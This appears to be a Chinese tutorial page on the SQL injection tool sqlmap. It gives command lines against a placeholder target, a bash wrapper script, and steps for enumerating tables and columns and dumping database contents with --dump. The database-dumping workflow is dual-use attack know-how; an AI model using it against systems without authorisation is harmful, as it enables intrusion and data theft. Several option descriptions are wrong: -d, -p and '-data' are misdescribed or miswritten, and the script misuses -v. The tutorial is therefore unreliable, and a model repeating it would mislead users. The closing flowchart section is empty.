您的位置:

从多个方面详解sqlmap使用

一、sqlmap使用参数

1、-u参数:指定目标URL。例如:

python sqlmap.py -u "http://www.target.com/vuln.php?id=1"

2、-p参数:指定请求参数名。例如:

python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -p "id"

3、-d参数:指定需要测试的数据库。例如:

python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -d mysql

二、sqlmap使用proxy

使用代理服务器进行SQL注入测试,可以在测试时隐藏真实IP,提高安全性。使用-p参数指定代理服务器。

python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -p "id" --proxy "http://127.0.0.1:8080"

三、sqlmap使用教程

1. sqlmap使用教程中文手册

官方提供了详细的中文手册,包含了几乎所有的参数和使用方式。

官方网站:https://sqlmap.org/zh/

2. sqlmap使用方法

具体使用方法:

  • 获取cookie:使用浏览器登陆目标网站,并复制cookie。
  • 获取表名:使用"-d"参数指定数据库,使用"--tables"参数获取表名。
  • 获取字段名:使用"-T"参数指定表名,使用"--columns"参数获取字段名。
  • 获取数据:使用"-T"参数指定表名和"-C"参数指定字段名,使用"--dump"参数获取数据。

3. sqlmap使用脚本

使用脚本可以快速进行SQL注入测试。

#!/bin/bash
clear
echo -e "please input the target url:"
read url
echo -e "please input the parameters name:"
read parameter
echo -e "please input the database type(mysql/mssql/oracle/postgresql/everything)"
read database
python sqlmap.py -u "$url" -p "$parameter" --batch -v $database

4. sqlmap使用流程

使用sqlmap进行SQL注入测试可以分为以下几个步骤:

  • 获取cookie。
  • 获取参数名。
  • 获取数据库名。
  • 获取表名。
  • 获取字段名。
  • 获取数据。

5. sqlmap使用命令

一些常用的命令:

  • 查看所有的参数:
  • python sqlmap.py --help
  • 使用GET方式请求:
  • python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --method=GET
  • 指定cookie:
  • python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --cookie="cookie字符串"
  • 指定user-agent:
  • python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299"

四、sqlmap使用的URL格式

sqlmap支持下面两种URL格式:

  • 基于GET的URL格式:
  • http://www.target.com/vuln.php?id=1
  • 基于POST的URL格式:
  • http://www.target.com/vuln.php

POST方式需要加"-data"参数指定POST数据。

五、sqlmap使用方法图解

下面是使用sqlmap进行注入测试的流程图: